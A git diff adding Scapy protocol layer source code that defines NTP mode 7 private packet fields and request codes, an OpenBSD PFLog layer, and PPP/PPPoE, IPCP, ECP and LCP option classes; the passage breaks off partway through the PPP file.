+_request_codes = {
+    0: "REQ_PEER_LIST",
+    1: "REQ_PEER_LIST_SUM",
+    2: "REQ_PEER_INFO",
+    3: "REQ_PEER_STATS",
+    4: "REQ_SYS_INFO",
+    5: "REQ_SYS_STATS",
+    6: "REQ_IO_STATS",
+    7: "REQ_MEM_STATS",
+    8: "REQ_LOOP_INFO",
+    9: "REQ_TIMER_STATS",
+    10: "REQ_CONFIG",
+    11: "REQ_UNCONFIG",
+    12: "REQ_SET_SYS_FLAG",
+    13: "REQ_CLR_SYS_FLAG",
+    14: "REQ_MONITOR",
+    15: "REQ_NOMONITOR",
+    16: "REQ_GET_RESTRICT",
+    17: "REQ_RESADDFLAGS",
+    18: "REQ_RESSUBFLAGS",
+    19: "REQ_UNRESTRICT",
+    20: "REQ_MON_GETLIST",
+    21: "REQ_RESET_STATS",
+    22: "REQ_RESET_PEER",
+    23: "REQ_REREAD_KEYS",
+    24: "REQ_DO_DIRTY_HACK",
+    25: "REQ_DONT_DIRTY_HACK",
+    26: "REQ_TRUSTKEY",
+    27: "REQ_UNTRUSTKEY",
+    28: "REQ_AUTHINFO",
+    29: "REQ_TRAPS",
+    30: "REQ_ADD_TRAP",
+    31: "REQ_CLR_TRAP",
+    32: "REQ_REQUEST_KEY",
+    33: "REQ_CONTROL_KEY",
+    34: "REQ_GET_CTLSTATS",
+    35: "REQ_GET_LEAPINFO",
+    36: "REQ_GET_CLOCKINFO",
+    37: "REQ_SET_CLKFUDGE",
+    38: "REQ_GET_KERNEL",
+    39: "REQ_GET_CLKBUGINFO",
+    41: "REQ_SET_PRECISION",
+    42: "REQ_MON_GETLIST_1",
+    43: "REQ_HOSTNAME_ASSOCID",
+    44: "REQ_IF_STATS",
+    45: "REQ_IF_RELOAD"
+}
+
+
+class NTPPrivateReqPacketListField(PacketListField):
+    """
+    Handles specific request packets.
+    """
+
+    # See ntpdc/ntpdc.c and ntpdc/ntpdc_ops.c
+
+    def m2i(self, pkt, s):
+        ret = None
+
+        if pkt.request_code == 2 or pkt.request_code == 3:
+            # REQ_PEER_INFO (see ntpdc/ntpdc_ops.c: showpeer())
+            # REQ_PEER_STATS (for request only)
+            ret = NTPInfoPeerList(s)
+
+        elif pkt.request_code == 10:
+            # REQ_CONFIG
+            ret = NTPConfPeer(s)
+
+        elif pkt.request_code == 11:
+            # REQ_CONFIG
+            ret = NTPConfUnpeer(s)
+
+        elif pkt.request_code == 17:
+            # REQ_RESADDFLAGS
+            ret = NTPConfRestrict(s)
+
+        elif pkt.request_code == 18:
+            # REQ_RESSUBFLAGS
+            ret = NTPConfRestrict(s)
+
+        elif pkt.request_code == 22:
+            # REQ_RESET_PEER
+            ret = NTPConfUnpeer(s)
+
+        elif pkt.request_code == 30 or pkt.request_code == 31:
+            # REQ_ADD_TRAP
+            ret = NTPConfTrap(s)
+
+        else:
+            ret = NTPPrivateReqPacket(s)
+
+        return ret
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+        length = pkt.data_item_size
+        if length > 0:
+            item_counter = 0
+            while len(remain) >= pkt.data_item_size * pkt.nb_items and item_counter < pkt.nb_items:
+                current = remain[:length]
+                remain = remain[length:]
+                current_packet = self.m2i(pkt, current)
+                lst.append(current_packet)
+                item_counter += 1
+
+        # If "auth" bit is set, don't forget the padding bytes
+        if pkt.auth:
+            padding_end = len(remain) - _NTP_PRIVATE_REQ_PKT_TAIL_LEN
+            current_packet = conf.raw_layer(remain[:padding_end])
+            lst.append(current_packet)
+            remain = remain[padding_end:]
+
+        return remain, lst
+
+
+class NTPPrivatePktTail(Packet):
+    """
+    include/ntp_request.h
+    The req_pkt_tail structure is used by ntpd to adjust for different
+    packet sizes that may arrive.
+    """
+
+    name = "req_pkt_tail"
+    fields_desc = [
+        TimeStampField("tstamp", 0),
+        IntField("key_id", 0),
+        XStrFixedLenField(
+            "dgst", "", length_from=lambda x: _NTP_AUTH_MD5_DGST_SIZE)
+    ]
+
+
+class NTPPrivate(NTP):
+    """
+    Packet handling the private (mode 7) messages.
+    """
+
+    #________________________________________________________________________
+    #
+    # ntpd source code: ntp_request.h
+    #________________________________________________________________________
+    #
+    # A mode 7 packet is used exchanging data between an NTP server
+    # and a client for purposes other than time synchronization, e.g.
+    # monitoring, statistics gathering and configuration.  A mode 7
+    # packet has the following format:
+    #
+    #    0                        1                   2                   3
+    #    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+    #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #   |R|M| VN  | Mode|A|  Sequence   | Implementation|   Req Code    |
+    #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #   |  Err  | Number of data items  |  MBZ  |   Size of data item   |
+    #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #   |                                                               |
+    #   |            Data (Minimum 0 octets, maximum 500 octets)        |
+    #   |                                                               |
+    #                            [...]                                  |
+    #   |                                                               |
+    #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #   |               Encryption Keyid (when A bit set)               |
+    #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #   |                                                               |
+    #   |          Message Authentication Code (when A bit set)         |
+    #   |                                                               |
+    #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    #
+    # where the fields are (note that the client sends requests, the server
+    # responses):
+    #
+    # Response Bit:  This packet is a response (if clear, packet is a request).
+    #
+    # More Bit: Set for all packets but the last in a response which
+    #           requires more than one packet.
+    #
+    # Version Number: 2 for current version
+    #
+    # Mode:     Always 7
+    #
+    # Authenticated bit: If set, this packet is authenticated.
+    #
+    # Sequence number: For a multipacket response, contains the sequence
+    #           number of this packet.  0 is the first in the sequence,
+    #           127 (or less) is the last.  The More Bit must be set in
+    #           all packets but the last.
+    #
+    # Implementation number: The number of the implementation this request code
+    #           is defined by.  An implementation number of zero is used
+    #           for request codes/data formats which all implementations
+    #           agree on.  Implementation number 255 is reserved (for
+    #           extensions, in case we run out).
+    #
+    # Request code: An implementation-specific code which specifies the
+    #           operation to be (which has been) performed and/or the
+    #           format and semantics of the data included in the packet.
+    #
+    # Err:      Must be 0 for a request.  For a response, holds an error
+    #           code relating to the request.  If nonzero, the operation
+    #           requested wasn"t performed.
+    #
+    #           0 - no error
+    #           1 - incompatible implementation number
+    #           2 - unimplemented request code
+    #           3 - format error (wrong data items, data size, packet size etc.)
+    #           4 - no data available (e.g. request for details on unknown peer)
+    #           5-6 I don"t know
+    #           7 - authentication failure (i.e. permission denied)
+    #
+    # Number of data items: number of data items in packet.  0 to 500
+    #
+    # MBZ:      A reserved data field, must be zero in requests and responses.
+    #
+    # Size of data item: size of each data item in packet.  0 to 500
+    #
+    # Data:     Variable sized area containing request/response data.  For
+    #           requests and responses the size in octets must be greater
+    #           than or equal to the product of the number of data items
+    #           and the size of a data item.  For requests the data area
+    #           must be exactly 40 octets in length.  For responses the
+    #           data area may be any length between 0 and 500 octets
+    #           inclusive.
+    #
+    # Message Authentication Code: Same as NTP spec, in definition and function.
+    #           May optionally be included in requests which require
+    #           authentication, is never included in responses.
+    #
+    # The version number, mode and keyid have the same function and are
+    # in the same location as a standard NTP packet.  The request packet
+    # is the same size as a standard NTP packet to ease receive buffer
+    # management, and to allow the same encryption procedure to be used
+    # both on mode 7 and standard NTP packets.  The mac is included when
+    # it is required that a request be authenticated, the keyid should be
+    # zero in requests in which the mac is not included.
+    #
+    # The data format depends on the implementation number/request code pair
+    # and whether the packet is a request or a response.  The only requirement
+    # is that data items start in the octet immediately following the size
+    # word and that data items be concatenated without padding between (i.e.
+    # if the data area is larger than data_items*size, all padding is at
+    # the end).  Padding is ignored, other than for encryption purposes.
+    # Implementations using encryption might want to include a time stamp
+    # or other data in the request packet padding.  The key used for requests
+    # is implementation defined, but key 15 is suggested as a default.
+    #________________________________________________________________________
+    #
+
+    name = "Private (mode 7)"
+    fields_desc = [
+        BitField("response", 0, 1),
+        BitField("more", 0, 1),
+        BitField("version", 2, 3),
+        BitField("mode", 0, 3),
+        BitField("auth", 0, 1),
+        BitField("seq", 0, 7),
+        ByteEnumField("implementation", 0, _implementations),
+        ByteEnumField("request_code", 0, _request_codes),
+        BitEnumField("err", 0, 4, _ntpd_private_errors),
+        BitField("nb_items", 0, 12),
+        BitField("mbz", 0, 4),
+        BitField("data_item_size", 0, 12),
+        ConditionalField(
+            NTPPrivateReqPacketListField(
+                "req_data",
+                [],
+                Packet,
+                length_from=lambda p: p.data_item_size,
+                count_from=lambda p: p.nb_items
+            ),
+            lambda p: p.response == 0
+        ),
+        # Responses
+        ConditionalField(
+            NTPPrivateRespPacketListField(
+                "data",
+                [],
+                Packet,
+                length_from=lambda p: p.data_item_size,
+                count_from=lambda p: p.nb_items
+            ),
+            lambda p: p.response == 1
+        ),
+        # Responses are not supposed to be authenticated
+        ConditionalField(PacketField("authenticator", "", NTPPrivatePktTail),
+                         lambda p: p.response == 0 and p.auth == 1),
+    ]
+
+
+##############################################################################
+##### Layer bindings
+##############################################################################
+
+bind_layers(UDP, NTP, {"sport": 123})
+bind_layers(UDP, NTP, {"dport": 123})
+bind_layers(UDP, NTP, {"sport": 123, "dport": 123})
+
+
diff --git a/scapy/layers/pflog.py b/scapy/layers/pflog.py
new file mode 100644
index 0000000..35c2e4e
--- /dev/null
+++ b/scapy/layers/pflog.py
@@ -0,0 +1,60 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+PFLog: OpenBSD PF packet filter logging.
+"""
+
+from scapy.data import DLT_PFLOG
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import IP
+if conf.ipv6_enabled:
+    from scapy.layers.inet6 import IPv6
+from scapy.config import conf
+
+class PFLog(Packet):
+    name = "PFLog"
+    # from OpenBSD src/sys/net/pfvar.h and src/sys/net/if_pflog.h
+    fields_desc = [ ByteField("hdrlen", 0),
+                    ByteEnumField("addrfamily", 2, {socket.AF_INET: "IPv4",
+                                                    socket.AF_INET6: "IPv6"}),
+                    ByteEnumField("action", 1, {0: "pass", 1: "drop",
+                                                2: "scrub", 3: "no-scrub",
+                                                4: "nat", 5: "no-nat",
+                                                6: "binat", 7: "no-binat",
+                                                8: "rdr", 9: "no-rdr",
+                                                10: "syn-proxy-drop" }),
+                    ByteEnumField("reason", 0, {0: "match", 1: "bad-offset",
+                                                2: "fragment", 3: "short",
+                                                4: "normalize", 5: "memory",
+                                                6: "bad-timestamp",
+                                                7: "congestion",
+                                                8: "ip-options",
+                                                9: "proto-cksum",
+                                                10: "state-mismatch",
+                                                11: "state-insert",
+                                                12: "state-limit",
+                                                13: "src-limit",
+                                                14: "syn-proxy" }),
+                    StrFixedLenField("iface", "", 16),
+                    StrFixedLenField("ruleset", "", 16),
+                    SignedIntField("rulenumber", 0),
+                    SignedIntField("subrulenumber", 0),
+                    SignedIntField("uid", 0),
+                    IntField("pid", 0),
+                    SignedIntField("ruleuid", 0),
+                    IntField("rulepid", 0),
+                    ByteEnumField("direction", 255, {0: "inout", 1: "in",
+                                                     2:"out", 255: "unknown"}),
+                    StrFixedLenField("pad", b"\x00\x00\x00", 3 ) ]
+    def mysummary(self):
+        return self.sprintf("%PFLog.addrfamily% %PFLog.action% on %PFLog.iface% by rule %PFLog.rulenumber%")
+
+bind_layers(PFLog, IP, addrfamily=socket.AF_INET)
+if conf.ipv6_enabled:
+    bind_layers(PFLog, IPv6, addrfamily=socket.AF_INET6)
+
+conf.l2types.register(DLT_PFLOG, PFLog)
diff --git a/scapy/layers/ppp.py b/scapy/layers/ppp.py
new file mode 100644
index 0000000..7035423
--- /dev/null
+++ b/scapy/layers/ppp.py
@@ -0,0 +1,719 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+PPP (Point to Point Protocol)
+
+[RFC 1661]
+"""
+
+import struct
+from scapy.config import conf
+from scapy.data import DLT_PPP, DLT_PPP_SERIAL, DLT_PPP_ETHER
+from scapy.compat import *
+from scapy.packet import Packet, bind_layers
+from scapy.layers.eap import EAP
+from scapy.layers.l2 import Ether, CookedLinux, GRE_PPTP
+from scapy.layers.inet import IP
+from scapy.layers.inet6 import IPv6
+from scapy.fields import BitField, ByteEnumField, ByteField, \
+    ConditionalField, FieldLenField, IntField, IPField, \
+    PacketListField, PacketField, ShortEnumField, ShortField, \
+    StrFixedLenField, StrLenField, XByteField, XShortField, XStrLenField
+
+
+class PPPoE(Packet):
+    name = "PPP over Ethernet"
+    fields_desc = [ BitField("version", 1, 4),
+                    BitField("type", 1, 4),
+                    ByteEnumField("code", 0, {0:"Session"}),
+                    XShortField("sessionid", 0x0),
+                    ShortField("len", None) ]
+
+    def post_build(self, p, pay):
+        p += pay
+        if self.len is None:
+            l = len(p)-6
+            p = p[:4]+struct.pack("!H", l)+p[6:]
+        return p
+
+class PPPoED(PPPoE):
+    name = "PPP over Ethernet Discovery"
+    fields_desc = [ BitField("version", 1, 4),
+                    BitField("type", 1, 4),
+                    ByteEnumField("code", 0x09, {0x09:"PADI",0x07:"PADO",0x19:"PADR",0x65:"PADS",0xa7:"PADT"}),
+                    XShortField("sessionid", 0x0),
+                    ShortField("len", None) ]
+
+
+_PPP_proto = { 0x0001: "Padding Protocol",
+               0x0003: "ROHC small-CID [RFC3095]",
+               0x0005: "ROHC large-CID [RFC3095]",
+               0x0021: "Internet Protocol version 4",
+               0x0023: "OSI Network Layer",
+               0x0025: "Xerox NS IDP",
+               0x0027: "DECnet Phase IV",
+               0x0029: "Appletalk",
+               0x002b: "Novell IPX",
+               0x002d: "Van Jacobson Compressed TCP/IP",
+               0x002f: "Van Jacobson Uncompressed TCP/IP",
+               0x0031: "Bridging PDU",
+               0x0033: "Stream Protocol (ST-II)",
+               0x0035: "Banyan Vines",
+               0x0037: "reserved (until 1993) [Typo in RFC1172]",
+               0x0039: "AppleTalk EDDP",
+               0x003b: "AppleTalk SmartBuffered",
+               0x003d: "Multi-Link [RFC1717]",
+               0x003f: "NETBIOS Framing",
+               0x0041: "Cisco Systems",
+               0x0043: "Ascom Timeplex",
+               0x0045: "Fujitsu Link Backup and Load Balancing (LBLB)",
+               0x0047: "DCA Remote Lan",
+               0x0049: "Serial Data Transport Protocol (PPP-SDTP)",
+               0x004b: "SNA over 802.2",
+               0x004d: "SNA",
+               0x004f: "IPv6 Header Compression",
+               0x0051: "KNX Bridging Data [ianp]",
+               0x0053: "Encryption [Meyer]",
+               0x0055: "Individual Link Encryption [Meyer]",
+               0x0057: "Internet Protocol version 6 [Hinden]",
+               0x0059: "PPP Muxing [RFC3153]",
+               0x005b: "Vendor-Specific Network Protocol (VSNP) [RFC3772]",
+               0x0061: "RTP IPHC Full Header [RFC3544]",
+               0x0063: "RTP IPHC Compressed TCP [RFC3544]",
+               0x0065: "RTP IPHC Compressed Non TCP [RFC3544]",
+               0x0067: "RTP IPHC Compressed UDP 8 [RFC3544]",
+               0x0069: "RTP IPHC Compressed RTP 8 [RFC3544]",
+               0x006f: "Stampede Bridging",
+               0x0071: "Reserved [Fox]",
+               0x0073: "MP+ Protocol [Smith]",
+               0x007d: "reserved (Control Escape) [RFC1661]",
+               0x007f: "reserved (compression inefficient [RFC1662]",
+               0x0081: "Reserved Until 20-Oct-2000 [IANA]",
+               0x0083: "Reserved Until 20-Oct-2000 [IANA]",
+               0x00c1: "NTCITS IPI [Ungar]",
+               0x00cf: "reserved (PPP NLID)",
+               0x00fb: "single link compression in multilink [RFC1962]",
+               0x00fd: "compressed datagram [RFC1962]",
+               0x00ff: "reserved (compression inefficient)",
+               0x0201: "802.1d Hello Packets",
+               0x0203: "IBM Source Routing BPDU",
+               0x0205: "DEC LANBridge100 Spanning Tree",
+               0x0207: "Cisco Discovery Protocol [Sastry]",
+               0x0209: "Netcs Twin Routing [Korfmacher]",
+               0x020b: "STP - Scheduled Transfer Protocol [Segal]",
+               0x020d: "EDP - Extreme Discovery Protocol [Grosser]",
+               0x0211: "Optical Supervisory Channel Protocol (OSCP)[Prasad]",
+               0x0213: "Optical Supervisory Channel Protocol (OSCP)[Prasad]",
+               0x0231: "Luxcom",
+               0x0233: "Sigma Network Systems",
+               0x0235: "Apple Client Server Protocol [Ridenour]",
+               0x0281: "MPLS Unicast [RFC3032]  ",
+               0x0283: "MPLS Multicast [RFC3032]",
+               0x0285: "IEEE p1284.4 standard - data packets [Batchelder]",
+               0x0287: "ETSI TETRA Network Protocol Type 1 [Nieminen]",
+               0x0289: "Multichannel Flow Treatment Protocol [McCann]",
+               0x2063: "RTP IPHC Compressed TCP No Delta [RFC3544]",
+               0x2065: "RTP IPHC Context State [RFC3544]",
+               0x2067: "RTP IPHC Compressed UDP 16 [RFC3544]",
+               0x2069: "RTP IPHC Compressed RTP 16 [RFC3544]",
+               0x4001: "Cray Communications Control Protocol [Stage]",
+               0x4003: "CDPD Mobile Network Registration Protocol [Quick]",
+               0x4005: "Expand accelerator protocol [Rachmani]",
+               0x4007: "ODSICP NCP [Arvind]",
+               0x4009: "DOCSIS DLL [Gaedtke]",
+               0x400B: "Cetacean Network Detection Protocol [Siller]",
+               0x4021: "Stacker LZS [Simpson]",
+               0x4023: "RefTek Protocol [Banfill]",
+               0x4025: "Fibre Channel [Rajagopal]",
+               0x4027: "EMIT Protocols [Eastham]",
+               0x405b: "Vendor-Specific Protocol (VSP) [RFC3772]",
+               0x8021: "Internet Protocol Control Protocol",
+               0x8023: "OSI Network Layer Control Protocol",
+               0x8025: "Xerox NS IDP Control Protocol",
+               0x8027: "DECnet Phase IV Control Protocol",
+               0x8029: "Appletalk Control Protocol",
+               0x802b: "Novell IPX Control Protocol",
+               0x802d: "reserved",
+               0x802f: "reserved",
+               0x8031: "Bridging NCP",
+               0x8033: "Stream Protocol Control Protocol",
+               0x8035: "Banyan Vines Control Protocol",
+               0x8037: "reserved (until 1993)",
+               0x8039: "reserved",
+               0x803b: "reserved",
+               0x803d: "Multi-Link Control Protocol",
+               0x803f: "NETBIOS Framing Control Protocol",
+               0x8041: "Cisco Systems Control Protocol",
+               0x8043: "Ascom Timeplex",
+               0x8045: "Fujitsu LBLB Control Protocol",
+               0x8047: "DCA Remote Lan Network Control Protocol (RLNCP)",
+               0x8049: "Serial Data Control Protocol (PPP-SDCP)",
+               0x804b: "SNA over 802.2 Control Protocol",
+               0x804d: "SNA Control Protocol",
+               0x804f: "IP6 Header Compression Control Protocol",
+               0x8051: "KNX Bridging Control Protocol [ianp]",
+               0x8053: "Encryption Control Protocol [Meyer]",
+               0x8055: "Individual Link Encryption Control Protocol [Meyer]",
+               0x8057: "IPv6 Control Protovol [Hinden]",
+               0x8059: "PPP Muxing Control Protocol [RFC3153]",
+               0x805b: "Vendor-Specific Network Control Protocol (VSNCP) [RFC3772]",
+               0x806f: "Stampede Bridging Control Protocol",
+               0x8073: "MP+ Control Protocol [Smith]",
+               0x8071: "Reserved [Fox]",
+               0x807d: "Not Used - reserved [RFC1661]",
+               0x8081: "Reserved Until 20-Oct-2000 [IANA]",
+               0x8083: "Reserved Until 20-Oct-2000 [IANA]",
+               0x80c1: "NTCITS IPI Control Protocol [Ungar]",
+               0x80cf: "Not Used - reserved [RFC1661]",
+               0x80fb: "single link compression in multilink control [RFC1962]",
+               0x80fd: "Compression Control Protocol [RFC1962]",
+               0x80ff: "Not Used - reserved [RFC1661]",
+               0x8207: "Cisco Discovery Protocol Control [Sastry]",
+               0x8209: "Netcs Twin Routing [Korfmacher]",
+               0x820b: "STP - Control Protocol [Segal]",
+               0x820d: "EDPCP - Extreme Discovery Protocol Ctrl Prtcl [Grosser]",
+               0x8235: "Apple Client Server Protocol Control [Ridenour]",
+               0x8281: "MPLSCP [RFC3032]",
+               0x8285: "IEEE p1284.4 standard - Protocol Control [Batchelder]",
+               0x8287: "ETSI TETRA TNP1 Control Protocol [Nieminen]",
+               0x8289: "Multichannel Flow Treatment Protocol [McCann]",
+               0xc021: "Link Control Protocol",
+               0xc023: "Password Authentication Protocol",
+               0xc025: "Link Quality Report",
+               0xc027: "Shiva Password Authentication Protocol",
+               0xc029: "CallBack Control Protocol (CBCP)",
+               0xc02b: "BACP Bandwidth Allocation Control Protocol [RFC2125]",
+               0xc02d: "BAP [RFC2125]",
+               0xc05b: "Vendor-Specific Authentication Protocol (VSAP) [RFC3772]",
+               0xc081: "Container Control Protocol [KEN]",
+               0xc223: "Challenge Handshake Authentication Protocol",
+               0xc225: "RSA Authentication Protocol [Narayana]",
+               0xc227: "Extensible Authentication Protocol [RFC2284]",
+               0xc229: "Mitsubishi Security Info Exch Ptcl (SIEP) [Seno]",
+               0xc26f: "Stampede Bridging Authorization Protocol",
+               0xc281: "Proprietary Authentication Protocol [KEN]",
+               0xc283: "Proprietary Authentication Protocol [Tackabury]",
+               0xc481: "Proprietary Node ID Authentication Protocol [KEN]"}
+
+
+class HDLC(Packet):
+    fields_desc = [ XByteField("address",0xff),
+                    XByteField("control",0x03)  ]
+
+class PPP(Packet):
+    name = "PPP Link Layer"
+    fields_desc = [ ShortEnumField("proto", 0x0021, _PPP_proto) ]
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt and orb(_pkt[0]) == 0xff:
+            cls = HDLC
+        return cls
+
+_PPP_conftypes = { 1:"Configure-Request",
+                   2:"Configure-Ack",
+                   3:"Configure-Nak",
+                   4:"Configure-Reject",
+                   5:"Terminate-Request",
+                   6:"Terminate-Ack",
+                   7:"Code-Reject",
+                   8:"Protocol-Reject",
+                   9:"Echo-Request",
+                   10:"Echo-Reply",
+                   11:"Discard-Request",
+                   14:"Reset-Request",
+                   15:"Reset-Ack",
+                   }
+
+
+### PPP IPCP stuff (RFC 1332)
+
+# All IPCP options are defined below (names and associated classes) 
+_PPP_ipcpopttypes = {     1:"IP-Addresses (Deprecated)",
+                          2:"IP-Compression-Protocol",
+                          3:"IP-Address",
+                          4:"Mobile-IPv4", # not implemented, present for completeness
+                          129:"Primary-DNS-Address",
+                          130:"Primary-NBNS-Address",
+                          131:"Secondary-DNS-Address",
+                          132:"Secondary-NBNS-Address"}
+
+
+class PPP_IPCP_Option(Packet):
+    name = "PPP IPCP Option"
+    fields_desc = [ ByteEnumField("type" , None , _PPP_ipcpopttypes),
+                    FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
+                    StrLenField("data", "", length_from=lambda p:max(0,p.len-2)) ]
+    def extract_padding(self, pay):
+        return b"",pay
+
+    registered_options = {}
+    @classmethod
+    def register_variant(cls):
+        cls.registered_options[cls.type.default] = cls
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt:
+            o = orb(_pkt[0])
+            return cls.registered_options.get(o, cls)
+        return cls
+
+
+class PPP_IPCP_Option_IPAddress(PPP_IPCP_Option):
+    name = "PPP IPCP Option: IP Address"
+    fields_desc = [ ByteEnumField("type" , 3 , _PPP_ipcpopttypes),
+                    FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
+                    IPField("data","0.0.0.0"),
+                    ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ]
+
+class PPP_IPCP_Option_DNS1(PPP_IPCP_Option):
+    name = "PPP IPCP Option: DNS1 Address"
+    fields_desc = [ ByteEnumField("type" , 129 , _PPP_ipcpopttypes),
+                    FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
+                    IPField("data","0.0.0.0"),
+                    ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ]
+
+class PPP_IPCP_Option_DNS2(PPP_IPCP_Option):
+    name = "PPP IPCP Option: DNS2 Address"
+    fields_desc = [ ByteEnumField("type" , 131 , _PPP_ipcpopttypes),
+                    FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
+                    IPField("data","0.0.0.0"),
+                    ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ]
+
+class PPP_IPCP_Option_NBNS1(PPP_IPCP_Option):
+    name = "PPP IPCP Option: NBNS1 Address"
+    fields_desc = [ ByteEnumField("type" , 130 , _PPP_ipcpopttypes),
+                    FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
+                    IPField("data","0.0.0.0"),
+                    ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ]
+
+class PPP_IPCP_Option_NBNS2(PPP_IPCP_Option):
+    name = "PPP IPCP Option: NBNS2 Address"
+    fields_desc = [ ByteEnumField("type" , 132 , _PPP_ipcpopttypes),
+                    FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
+                    IPField("data","0.0.0.0"),
+                    ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ]
+
+
+class PPP_IPCP(Packet):
+    fields_desc = [ ByteEnumField("code" , 1, _PPP_conftypes),
+                    XByteField("id", 0 ),
+                    FieldLenField("len" , None, fmt="H", length_of="options", adjust=lambda p,x:x+4 ),
+                    PacketListField("options", [],  PPP_IPCP_Option, length_from=lambda p:p.len-4,) ]
+
+
+### ECP
+
+_PPP_ecpopttypes = { 0:"OUI",
+                     1:"DESE", }
+
+class PPP_ECP_Option(Packet):
+    name = "PPP ECP Option"
+    fields_desc = [ ByteEnumField("type" , None , _PPP_ecpopttypes),
+                    FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2),
+                    StrLenField("data", "", length_from=lambda p:max(0,p.len-2)) ]
+    def extract_padding(self, pay):
+        return b"",pay
+
+    registered_options = {}
+    @classmethod
+    def register_variant(cls):
+        cls.registered_options[cls.type.default] = cls
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt:
+            o = orb(_pkt[0])
+            return cls.registered_options.get(o, cls)
+        return cls
+
+class PPP_ECP_Option_OUI(PPP_ECP_Option):
+    fields_desc = [ ByteEnumField("type" , 0 , _PPP_ecpopttypes),
+                    FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+6),
+                    StrFixedLenField("oui","",3),
+                    ByteField("subtype",0),
+                    StrLenField("data", "", length_from=lambda p:p.len-6) ]
+                    
+
+
+class PPP_ECP(Packet):
+    fields_desc = [ ByteEnumField("code" , 1, _PPP_conftypes),
+                    XByteField("id", 0 ),
+                    FieldLenField("len" , None, fmt="H", length_of="options", adjust=lambda p,x:x+4 ),
+                    PacketListField("options", [],  PPP_ECP_Option, length_from=lambda p:p.len-4,) ]
+
+### Link Control Protocol (RFC 1661)
+
+_PPP_lcptypes = {1: "Configure-Request",
+                 2: "Configure-Ack",
+                 3: "Configure-Nak",
+                 4: "Configure-Reject",
+                 5: "Terminate-Request",
+                 6: "Terminate-Ack",
+                 7: "Code-Reject",
+                 8: "Protocol-Reject",
+                 9: "Echo-Request",
+                10: "Echo-Reply",
+                11: "Discard-Request"}
+
+
+class PPP_LCP(Packet):
+    name = "PPP Link Control Protocol"
+    fields_desc = [ByteEnumField("code", 5, _PPP_lcptypes),
+                   XByteField("id", 0),
+                   FieldLenField("len", None, fmt="H", length_of="data",
+                                 adjust=lambda p, x: x + 4),
+                   StrLenField("data", "",
+                               length_from=lambda p:p.len-4)]
+
+    def mysummary(self):
+        return self.sprintf('LCP %code%')
+
+    def extract_padding(self, pay):
+        return b"", pay
+
+    @classmethod
+    def dispatch_hook(cls, _pkt = None, *args, **kargs):
+        if _pkt:
+            o = orb(_pkt[0])
+            if o in [1, 2, 3, 4]:
+                return PPP_LCP_Configure
+            elif o in [5,6]:
+                return PPP_LCP_Terminate
+            elif o == 7:
+                return PPP_LCP_Code_Reject
+            elif o == 8:
+                return PPP_LCP_Protocol_Reject
+            elif o in [9, 10]:
+                return PPP_LCP_Echo
+            elif o == 11:
+                return PPP_LCP_Discard_Request
+            else:
+                return cls
+        return cls
+
+
+_PPP_lcp_optiontypes = {1: "Maximum-Receive-Unit",
+                        2: "Async-Control-Character-Map",
+                        3: "Authentication-protocol",
+                        4: "Quality-protocol",
+                        5: "Magic-number",
+                        7: "Protocol-Field-Compression",
+                        8: "Address-and-Control-Field-Compression",
+                        13: "Callback"}
+
+
+class PPP_LCP_Option(Packet):
+    name = "PPP LCP Option"
+    fields_desc = [ByteEnumField("type", None, _PPP_lcp_optiontypes),
+                   FieldLenField("len", None, fmt="B", length_of="data",
+                                 adjust=lambda p,x:x+2),
+                   StrLenField("data", None, length_from=lambda p:p.len-2)]
+
+    def extract_padding(self, pay):
+        return b"", pay
+
+    registered_options = {}
+
+    @classmethod
+    def register_variant(cls):
+        cls.registered_options[cls.type.default] = cls
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt:
+            o = orb(_pkt[0])
+            return cls.registered_options.get(o, cls)
+        return cls
+
+
+class PPP_LCP_MRU_Option(PPP_LCP_Option):
+    fields_desc = [ByteEnumField("type", 1, _PPP_lcp_optiontypes),
+                   FieldLenField("len", 4, fmt="B", adjust=lambda p,x:4),
+                   ShortField("max_recv_unit", 1500)]
+
